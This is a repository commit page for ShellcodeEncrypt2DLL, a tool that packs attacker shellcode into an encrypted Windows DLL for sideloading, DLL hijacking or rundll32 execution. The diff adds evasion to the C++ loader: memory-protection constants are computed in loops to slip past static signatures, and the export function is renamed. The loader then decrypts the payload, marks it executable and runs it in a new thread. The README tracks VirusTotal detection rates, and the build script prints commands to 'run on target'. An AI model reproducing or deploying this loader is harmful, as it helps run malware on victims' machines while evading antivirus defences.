admin/restkhz-ShellcodeEncrypt2DLL
1
0
Fork 0
mirror of https://github.com/restkhz/ShellcodeEncrypt2DLL synced 2026-06-06 16:34:37 +00:00
Code Issues Packages Projects Releases Wiki Activity

update: compile parameters and obfs

Browse Source
This commit is contained in:
restkhz
2025-03-14 19:16:49 +01:00
parent 2e912ce1cb
commit a109e2fb46
3 changed files with 59 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+4 -3
View File
@@ -9,6 +9,7 @@ Two modes:
- standalone: To make an encrypted DLL **WITH** KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.
VT: 2/72 (13/3/2025)
VT: 3/72 (14/3/2025)
![ShellcodeEncrypt2Dll_vs_VT](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_050702.png)
@@ -38,16 +39,16 @@ Then you will get a `shell.dll`
For non-standalone:
```
rundll32 <path_to_dll>,EntryPoint <Your KEY>
rundll32 <path_to_dll>,EPoint <Your KEY>
```
You can make you own exe to load this DLL with KEY as well.
For standalone:
```
rundll32 <path_to_dll>,EntryPoint
rundll32 <path_to_dll>,EPoint
```
As you see, standalone and non-standalone both have `EntryPoint` as export function.
As you see, standalone and non-standalone both have `EPoint` as export function.
ShellcodeEncrypt2Dll.py
+4 -4
View File
@@ -103,14 +103,14 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
if args.standalone:
print("STANDALONE mode")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-DSTANDALONE', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
print("You can use it for sideload/hijack or in a printnightmare-like scenario.")
print("Or just simply: rundll32 <path_to_dll>,EntryPoint")
print("Or just simply: rundll32 <path_to_dll>,EPoint")
elif args.non_standalone:
print("NON-STANDALONE mode:")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
print(f"Try to run on target: rundll32 <path_to_dll>,EntryPoint {KEY.decode()}")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
print(f"Try to run on target: rundll32 <path_to_dll>,EPoint {KEY.decode()}")
try:
print("[+] Compiling")
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
template.cpp
+51 -9
View File
@@ -124,8 +124,19 @@ void CALLBACK run(void) {
return;
}
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int t=1;
int page_readwrite = 0;
int page_execute_read = 0;
int zero = 3;
int mem_commit_mem_reserve = 0;
for (int i=0; i<4; i++) page_readwrite +=t;
for (int i=0; i<0x20; i++) page_execute_read+=t;
for (int i=0; i<3; i++) zero -= t;
for (int i=0; i<0x3000; i++) mem_commit_mem_reserve+=t;
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, mem_commit_mem_reserve, page_readwrite);
if (!allocMem) {
free(key);
return;
}
@@ -133,16 +144,18 @@ void CALLBACK run(void) {
dynMoveMemory(allocMem, payload, payloadLen);
DWORD oldProtect;
if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) {
if (!dynVirtualProtect(allocMem, payloadLen, page_execute_read, &oldProtect)) {
free(key);
return;
}
HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
HANDLE tHandle = dynCreateThread(zero, 0, (LPTHREAD_START_ROUTINE)allocMem, zero, zero, zero);
if (!tHandle) {
free(key);
return;
}
WaitForSingleObject(tHandle, INFINITE);
((void(*)())allocMem)();
//((void(*)())allocMem)();
}
#else
void CALLBACK run(char* key, DWORD keyLen) {
@@ -153,8 +166,18 @@ void CALLBACK run(char* key, DWORD keyLen) {
free(key);
return;
}
int t=1;
int page_readwrite = 0;
int page_execute_read = 0;
int zero = 3;
int mem_commit_mem_reserve = 0;
for (int i=0; i<4; i++) page_readwrite +=t;
for (int i=0; i<0x20; i++) page_execute_read+=t;
for (int i=0; i<3; i++) zero -= t;
for (int i=0; i<0x3000; i++) mem_commit_mem_reserve+=t;
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, mem_commit_mem_reserve, page_readwrite);
if (!allocMem) {
free(key);
return;
@@ -164,18 +187,18 @@ void CALLBACK run(char* key, DWORD keyLen) {
dynMoveMemory(allocMem, payload, payloadLen);
DWORD oldProtect;
if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) {
if (!dynVirtualProtect(allocMem, payloadLen, page_execute_read, &oldProtect)) {
free(key);
return;
}
HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
HANDLE tHandle = dynCreateThread(zero, 0, (LPTHREAD_START_ROUTINE)allocMem, zero, zero, zero);
if (!tHandle) {
free(key);
return;
}
WaitForSingleObject(tHandle, INFINITE);
((void(*)())allocMem)();
free(key);
}
@@ -183,7 +206,7 @@ void CALLBACK run(char* key, DWORD keyLen) {
// Entry for rundll32
extern "C" __declspec(dllexport)
void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
void CALLBACK EPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
#ifdef USE_HEADER_KEY
// Mode1: standalone. KEY was coded into dll.
run();
@@ -200,6 +223,25 @@ DWORD WINAPI ThreadProc(LPVOID lpParam) {
}
#endif
extern "C" __declspec(dllexport)
void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
#ifdef USE_HEADER_KEY
// Mode1: standalone. KEY was coded into dll.
run();
#else
// Mode2: key was NOT coded into dll.
run(lpszCmdLine, lstrlenA(lpszCmdLine));
#endif
}
#ifdef USE_HEADER_KEY
DWORD WINAPI ThreadProc(LPVOID lpParam) {
run();
return 0;
}
#endif
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: